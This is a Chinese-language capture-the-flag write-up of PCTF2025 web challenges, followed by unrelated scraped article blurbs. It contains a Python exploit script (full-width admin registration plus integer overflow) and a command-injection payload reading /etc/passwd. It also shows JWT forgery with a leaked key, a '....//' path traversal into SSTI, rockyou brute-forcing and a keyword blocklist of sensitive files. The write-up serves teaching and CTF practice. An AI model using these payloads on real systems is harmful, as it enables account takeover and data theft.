PCTF2025(web后半部分)

PCTF2025(web后半部分)

神秘商店

打开题目只有一个登录框

登录admin

利用全角来注册登录

后端代码有转换,全角能够绕过后端对admin的检测,然后把全角admin识别成正常的admin,造成覆盖注册,修改admin密码

注册admin,其中n为全角

利用整数溢出4294967246到50,购买flag

可以直接脚本登录

import requests def exploit(): url = "http://challenge2.pctf.top:32735" session = requests.Session() print("[+] 注册管理员账户...") users = { "username": "admin", "password": "123456" } response = session.post(f"{url}/register", data=users) print(f"[+] 注册响应: {response.status_code}") print("[+] 登录...") users = { "username": "admin", "password": "123456" } response = session.post(f"{url}/login", data=users) print(f"[+] 登录响应: {response.status_code}") response = session.get(f"{url}/user") print(f"[+] 用户信息:{response.text}") print("[+] 触发rust整数溢出...") amount = {"amount": 4294967246} response = session.post(f"{url}/add_balance", data=amount) print(f"[+] 增加余额: {response.text}") print("[+] 购买Flag...") product = {"product_id": 4} response = session.post(f"{url}/buy_product", json=product) print(f"[+] 购买结果: {response.text}") if __name__ == '__main__': exploit() 

php特性

We_will_rockyou

下载源码,进行分析

''' Item: Safety Linux Server Panel Time: 2025-10-24 Author: 1ceLAND ''' from flask import Flask, redirect, url_for, render_template, request import jwt import uuid import os import subprocess from werkzeug.security import generate_password_hash, check_password_hash app = Flask(__name__) app.config['SECRET_KEY'] = str(uuid.uuid4()) # instead of sqlite accounts = {} def create_token(user_id, username): payload = { 'user_id': user_id, 'username': username } token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256') if isinstance(token, bytes): token = token.decode('utf-8') return token def verify_token(token): try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) user_id = payload['user_id'] username = payload['username'] return user_id, username except: return None def login_required(f): from functools import wraps @wraps(f) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return redirect(url_for('login')) res = verify_token(token) if not res: return redirect(url_for('login')) user_id, username = res return f(user_id, username, *args, **kwargs) return decorated def check_login(u, p): for user_id, info in accounts.items(): if info['username'] == u: return check_password_hash(info['password'], p), user_id return False, None @app.route('/') def index(): return redirect(url_for('login')) @app.route('/login', methods=['GET', 'POST']) def login(): error_msg = None if request.method == 'POST': username = request.form['username'] password = request.form['password'] ok, user_id = check_login(username, password) if ok: token = create_token(user_id, username) response = redirect(url_for('dashboard')) response.set_cookie('token', token, httponly=True) return response else: error_msg = "Username or Password incorrect!" return render_template('login.html', error_msg=error_msg) @app.route('/logout') def logout(): response = redirect(url_for('login')) response.delete_cookie('token') return response @app.route('/dashboard') @login_required def dashboard(user_id, username): return render_template('dashboard.html', user_id=user_id, username=username) import subprocess SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more'] @app.route('/dashboard/run', methods=['POST']) @login_required def run_command(user_id, username): user_id, username = verify_token(request.cookies.get('token')) cmd = request.form.get('command', '').strip() if not cmd or cmd.split()[0] not in SAFE_COMMANDS: return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty") try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) output = result.stdout + result.stderr return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd) except Exception as e: return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}") if __name__ == '__main__': admin_id = 0 admin_username = 'admin123' admin_password = str(uuid.uuid4()) # password overlay for path in ['/password', './password.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() if not raw: continue text = raw.decode('utf-8', errors='replace').strip() candidates = [line.strip() for line in text.splitlines() if line.strip()] if candidates: import secrets admin_password = secrets.choice(candidates) break except: pass print(f' * Admin password: {admin_password}') accounts[admin_id] = { 'username': admin_username, 'password': generate_password_hash(admin_password) } app.run(debug=False, host='0.0.0.0')

基础配置与初始化

from flask import Flask, redirect, url_for, render_template, request import jwt import uuid import os import subprocess from werkzeug.security import generate_password_hash, check_password_hash app = Flask(__name__) # 每次重启服务器时,SECRET_KEY 都会随机生成,这意味着服务器重启后所有旧 Token 都会失效。 app.config['SECRET_KEY'] = str(uuid.uuid4()) # 内存数据库:用户信息存储在字典中,服务器重启则数据清空。 accounts = {}

认证逻辑 (JWT)

这部分负责用户登录状态的维持。

def create_token(user_id, username): payload = { 'user_id': user_id, 'username': username } # 使用 HS256 算法加密生成 JWT token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256') if isinstance(token, bytes): # 兼容旧版本 PyJWT token = token.decode('utf-8') return token def verify_token(token): try: # 解码并验证签名。由于使用了随机 UUID 作为 KEY,安全性在运行时还可以,但无法持久化。 payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) return payload['user_id'], payload['username'] except: return None
def login_required(f): from functools import wraps @wraps(f) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return redirect(url_for('login')) res = verify_token(token) if not res: return redirect(url_for('login')) user_id, username = res # 将解析出的用户信息注入到被装饰的路由函数中 return f(user_id, username, *args, **kwargs) return decorated def check_login(u, p): # 遍历内存中的账户字典,比对哈希后的密码 for user_id, info in accounts.items(): if info['username'] == u: return check_password_hash(info['password'], p), user_id return False, None

路由处理 (登录/登出)

@app.route('/login', methods=['GET', 'POST']) def login(): # ... 略 ... if ok: token = create_token(user_id, username) response = redirect(url_for('dashboard')) # 设置了 httponly=True,一定程度上防范了 XSS 攻击窃取 Cookie response.set_cookie('token', token, httponly=True) return response # ... 略 ...

命令执行逻辑

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more'] @app.route('/dashboard/run', methods=['POST']) @login_required def run_command(user_id, username): cmd = request.form.get('command', '').strip() # 检查机制:只判断命令行的第一个单词是否在白名单内 if not cmd or cmd.split()[0] not in SAFE_COMMANDS: return ... # 报错 try: # 风险点:shell=True。虽然开头是 ls,但可以利用 shell 拼接符。 # 例如输入: "ls ; cat /etc/passwd" # 这里的白名单检查只看到了 "ls",符合要求,但 shell 会执行后面的 cat 命令。 result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5) output = result.stdout + result.stderr # ... 返回结果 ...

启动逻辑与管理员密码初始化

if __name__ == '__main__': admin_id = 0 admin_username = 'admin123' # 默认随机生成一个 UUID 密码 admin_password = str(uuid.uuid4()) # 密码覆盖机制:尝试从系统文件读取密码 for path in ['/password', './password.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() # ... 解码并从文件行中随机选一个作为 admin 密码 ... # 这意味着如果能控制这两个文件之一,就能预设管理员密码。 break except: pass # 启动时会在控制台打印管理员密码(用于初次运行查看) print(f' * Admin password: {admin_password}') accounts[admin_id] = { 'username': admin_username, 'password': generate_password_hash(admin_password) } app.run(debug=False, host='0.0.0.0')

admin用户名不变一直为admin123

jwt密钥是随机生成的,可是这里审计发现admin密码虽然一开始是随机生成的,但是后面从一 个txt文本中随机抽取并覆盖了admin密码,这里考察点应该是用字典中的密码爆破

题目描述提示Try rockyou.txt!,则使用rockyou字典爆破密码,用户名是admin123

barbie

ls /

查看的方法有很多,过滤的waf也不行

信息收集,密码爆破,命令执行

Jwt_password_manager

from flask import Flask, request, redirect, url_for, render_template import jwt import uuid import os from werkzeug.security import generate_password_hash, check_password_hash app = Flask(__name__) # 关键安全点:JWT 签名使用的密钥。如果泄露,任何人都可以伪造 token app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648' accounts_usernames = [] # 存储所有注册的用户名 accounts = {} # 存储用户名及其对应的密码哈希值 {username: hash} user_passwords = {} # 存储每个用户的密码项 {username: [item1, item2, ...]} def check_username(new_username): if new_username in accounts_usernames: return True return False def check_login(username, password): if username not in accounts: return False return check_password_hash(accounts[username], password) def insert_account(new_username, new_password_hash): try: accounts_usernames.append(new_username) accounts[new_username] = new_password_hash user_passwords[new_username] = [] return True except: return False check_username(new_username): 检查用户名是否已被占用。 check_login(username, password): 使用 check_password_hash 验证用户输入的明文密码与存储的哈希值是否匹配。 insert_account(new_username, new_password_hash): 初始化新用户,在内存中为其开辟空间。 def create_token(username): # create jwt payload = { 'username': username, } token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256') if isinstance(token, bytes): token = token.decode('utf-8') return token def verify_token(token): try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) return payload['username'] except: return None def login_required(f): def decorated(*args, **kwargs): token = request.cookies.get('token') if not token or not verify_token(token): return redirect(url_for('login')) return f(*args, **kwargs) decorated.__name__ = f.__name__ return decorated def add_password_item(username, website, site_username, password,): try: password_item = { 'id': str(uuid.uuid4()), 'website': website, 'username': site_username, 'password': password, 'notes': notes, } user_passwords[username].append(password_item) return True except: return False def delete_password_item(username, item_id): # delete ... try: user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id] return True except: return False def get_user_passwords(username): # get all password_item of someone ... return user_passwords.get(username, []) @app.route('/') def index(): return redirect(url_for('login')) @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user_exists = check_username(username) if user_exists: return render_template('register.html', error_msg="User Already Existed!") password_hash = generate_password_hash(password) insert_account(username, password_hash) return redirect(url_for('login')) return render_template('register.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user_exists = check_username(username) if user_exists == False: return render_template('login.html', error_msg='Username or Password Wrong!') if check_login(username, password): token = create_token(username) response = redirect(url_for('dashboard')) response.set_cookie('token', token, httponly=True) return response else: return render_template('login.html', error_msg='Username or Password Wrong!') return render_template('login.html') @app.route('/logout') def logout(): response = redirect(url_for('login')) response.delete_cookie('token') return response @app.route('/dashboard') @login_required def dashboard(): username = verify_token(request.cookies.get('token')) passwords = get_user_passwords(username) return render_template('dashboard.html', username=username, passwords=passwords) @app.route('/add_password', methods=['POST']) @login_required def add_password(): username = verify_token(request.cookies.get('token')) website = request.form['website'] site_username = request.form['site_username'] password = request.form['password'] notes = request.form.get('notes', '') if add_password_item(username, website, site_username, password, notes): return redirect(url_for('dashboard')) else: return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Add password error") @app.route('/delete_password/<item_id>') @login_required def delete_password(item_id): username = verify_token(request.cookies.get('token')) if delete_password_item(username, item_id): return redirect(url_for('dashboard')) else: return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Delete password error") if __name__ == '__main__': # 1. 自动创建一个 admin 账号,密码是随机生成的 UUID admin_password = str(uuid.uuid4()) insert_account('admin', generate_password_hash(admin_password)) # 2. 模拟 CTF 环境:读取服务器本地的 flag.txt 文件 for path in ['/flag', './flag.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() if raw: content = raw.decode('utf-8', errors='replace').strip() # 3. 将读取到的 flag 作为一条密码存入 admin 账号中 add_password_item('admin', website='seeded-flag', ..., password=content) break except: pass app.run(debug=False, host='0.0.0.0')

下载附件审计代码,发现泄露的jwt密钥,查看逻辑发现,他读取了flag,flag是admin的password

app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'

admin_password = str(uuid.uuid4()) insert_account('admin', generate_password_hash(admin_password)) # flag in admin account ! ^-^ for path in ['/flag', './flag.txt']: try: if os.path.exists(path) and os.path.isfile(path): with open(path, 'rb') as f: raw = f.read() if raw: content = raw.decode('utf-8', errors='replace').strip() add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}') break except: pass

那么我们就开始,先注册一个账号拿到普通的token,然后去jwt.io解密jwt然后修改成admin然后伪造后得到flag

伪造后admin的token为

然后修改为admin的token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo

保存密码获取flag

JWT伪造

ez_upload

这里打开文件,上传任何文件都查看不了,尝试直接读取/etc/passwd但是被过滤了,查看源码

import os import uuid from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify from werkzeug.exceptions import RequestEntityTooLarge app = Flask(__name__) app.secret_key = 'your_secret_key_here' UPLOAD_FOLDER = 'uploads' MAX_FILE_SIZE = 16 * 1024 * 1024 ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'} BLACKLIST_KEYWORDS = [ 'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag' ] app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/') def index(): try: with open('templates/index.html', 'r', encoding='utf-8') as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try: with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>' except Exception as e: try: with open('templates/error_render.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, error_message=str(e)) except: return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>' @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('没有选择文件') return redirect(request.url) file = request.files['file'] if file.filename == '': flash('没有选择文件') return redirect(request.url) if file and allowed_file(file.filename): filename = file.filename filename = filename.replace('../', '') file_path = os.path.join(UPLOAD_FOLDER, filename) try: file.save(file_path) flash('文件 {} 上传成功!'.format(filename)) return redirect('/upload') except Exception as e: flash('文件上传失败: {}'.format(str(e))) return redirect(request.url) else: flash('不允许的文件类型') return redirect(request.url) try: with open('templates/upload.html', 'r', encoding='utf-8') as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try: with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>' @app.route('/file') def view_file(): file_path = request.args.get('file', '') if not file_path: try: with open('templates/file_no_param.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>' file_path_lower = file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: try: with open('templates/file_error.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, file_path=file_path, error_message='访问被拒绝:文件路径包含敏感关键词 [{}]'.format(keyword)) except: return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>' try: with open(file_path, 'r', encoding='utf-8') as f: file_content = f.read() try: with open('templates/file_view.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, file_path=file_path, file_content=file_content) except: return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content) except Exception as e: try: with open('templates/file_error.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, file_path=file_path, error_message=str(e)) except: return '<h1>文件读取失败</h1><p>错误: {}</p><a href="/">返回主页</a>'.format(str(e)) @app.errorhandler(RequestEntityTooLarge) def too_large(e): try: with open('templates/error_too_large.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413 except: return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413 @app.errorhandler(404) def not_found(e): try: with open('templates/error_404.html', 'r', encoding='utf-8') as f: return f.read(), 404 except: return '<h1>404</h1><p>页面不存在</p>', 404 @app.errorhandler(500) def server_error(e): try: with open('templates/error_500.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, error_message=str(e)), 500 except: return '<h1>500</h1><p>服务器内部错误: {}</p>'.format(str(e)), 500 if __name__ == '__main__': print("启动Flask文件上传应用...") print("上传目录: {}".format(UPLOAD_FOLDER)) print("最大文件大小: {} MB".format(MAX_FILE_SIZE // (1024*1024))) print("允许的文件类型: {}".format(ALLOWED_EXTENSIONS)) app.run(debug=False, host='0.0.0.0', port=5000)
@app.route('/file') def view_file(): file_path = request.args.get('file', '') # 从 URL 参数 ?file= 获取路径 if not file_path: # ... (逻辑省略) # [黑名单防御] file_path_lower = file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: # 如果命中黑名单,渲染错误信息 return render_template_string(template, error_message='...{}'.format(keyword)) try: with open(file_path, 'r', encoding='utf-8') as f: # [高危] 直接打开用户指定的路径 file_content = f.read() # [SSTI 漏洞] # file_content 是用户上传的文件内容 # 如果用户上传一个包含 {{ 7*7 }} 的文件并在此查看,Flask 会执行其中的模板代码 return render_template_string(template, file_path=file_path, file_content=file_content) except Exception as e: # ... (错误处理)

render_template_string渲染了html页面内容,则可以实现覆盖index.html在里面实现ssti绕过上传限制....//templates/index.html

成功读取

SSTI,信息收集

Do_you_know_session?

看到题目到处试了试ssti,发现在搜索框中可以进行ssti

/search?context=

但是有waf,只能看到config,刚好secretkey就存在这里,我们直接就可以获取到

1919810#mistyovo@foxdog@lzz0403#114514

然后我们看到我们有session,用flask-session-cookie-manager

读取environ得到flag

session伪造

Read more

Ubuntu/Debian VPS 上 Apache Web 服务器的完整配置教程

Apache 是互联网上最流行的 Web 服务器之一,用于托管超过半数活跃网站。尽管市面上存在许多可用的 Web 服务器,但由于 Apache 的普遍性,了解其工作原理仍然具有重要意义。 本文将分享 Apache 的通用配置文件及其可配置选项。文中将以 Ubuntu/Debian 系统的 Apache 文件布局为例进行说明,这种布局方式与其他 Linux 发行版的配置层级结构有所不同。 版本兼容性 说明 :本教程已在 Ubuntu 22.04 LTS、Ubuntu 24.04 LTS、Ubuntu 25.04 以及 Debian 11、Debian 12 系统上通过验证测试。所有展示的命令和配置均兼容上述版本,且 Apache 配置结构与命令(如 a2ensite、

前端存储三剑客:localStorage、sessionStorage、cookie 超详细对比

前端存储三剑客:localStorage、sessionStorage、cookie 超详细对比

在前端开发中,数据本地存储是提升用户体验、优化性能、实现持久化状态的核心技术。我们最常用的就是 localStorage、sessionStorage 和 cookie 这三种方案,但很多开发者容易混淆它们的用法、存储特性和适用场景。 这篇博客就用最清晰、最实用的方式,一次性讲透三者的区别、用法和最佳实践。 一、先搞懂核心概念 * cookie:最早的客户端存储方案,会随 HTTP 请求自动发送到服务器,主要用于身份验证、会话保持。 * localStorage:HTML5 新增的本地存储,持久化存储,手动清除才会消失,不参与网络请求。 * sessionStorage:HTML5 新增的会话存储,页面会话期间有效,关闭标签页 / 浏览器就清空。 二、核心区别一张表看懂 表格 特性localStoragesessionStoragecookie生命周期永久有效,手动清除仅当前会话(关闭标签 / 浏览器失效)可设置过期时间,默认会话级存储容量约 5MB约 5MB很小,仅 4KB与服务端通信不参与不参与自动携带在

我用 Vibe Code 做出了漂亮的 Web 应用,但 AI 依然无法为 Google Search 自动生成一个简单的 Sitemap

我用 Vibe Code 做出了漂亮的 Web 应用,但 AI 依然无法为 Google Search 自动生成一个简单的 Sitemap 在最近一段时间里,我看到很多开发者和创业者开始用 AI 工具做网站、Web 应用这些东西,比如所谓的 vibe coding 平台:快速生成页面、美观的前端、自动部署等等。乍一看体验很棒,但当你开始关注 SEO 和搜索引擎索引时,这一切就变得很不那么简单了。 我自己做过很多网站的 SEO,这本应该是个“十分钟搞定”的事儿 —— “生成 sitemap.xml,提交到 Google Search Console,搞定。” 但是在实际操作中,问题远比想象复杂。 项目背景 我做的第一个项目是一个在线餐厅目录:收集了所有提供食物过敏菜单的餐厅信息,供过敏患者快速查询。

Qwen3-1.7B支持流式响应?实战验证与前端集成教程

Qwen3-1.7B支持流式响应?实战验证与前端集成教程 最近在折腾大模型应用开发,特别是想给前端加个实时聊天的效果,就一直在找支持流式输出的轻量级模型。Qwen3系列开源后,我第一时间注意到了1.7B这个版本——参数小,部署快,但官方文档里关于流式响应的说明不太详细。 所以,我决定自己动手验证一下:Qwen3-1.7B到底支不支持流式响应?如果支持,怎么在前端项目里用起来?这篇文章就是我的实战记录,从环境搭建、接口测试到前端集成,一步步带你走通整个流程。 1. 环境准备与快速启动 要在本地或者云端快速体验Qwen3-1.7B,最省事的方法就是直接用现成的Docker镜像。这里我以ZEEKLOG星图平台的镜像为例,带你快速启动一个可用的环境。 1.1 启动Jupyter Notebook环境 1. 找到Qwen3-1.7B的镜像并启动。平台通常会提供一个预装好所有依赖的容器。 2. 容器启动后,直接打开提供的Jupyter Notebook链接。你会看到一个熟悉的网页界面,里面已经配置好了Python环境和必要的库。 这样,我们就不用操心安装PyTorch、Tran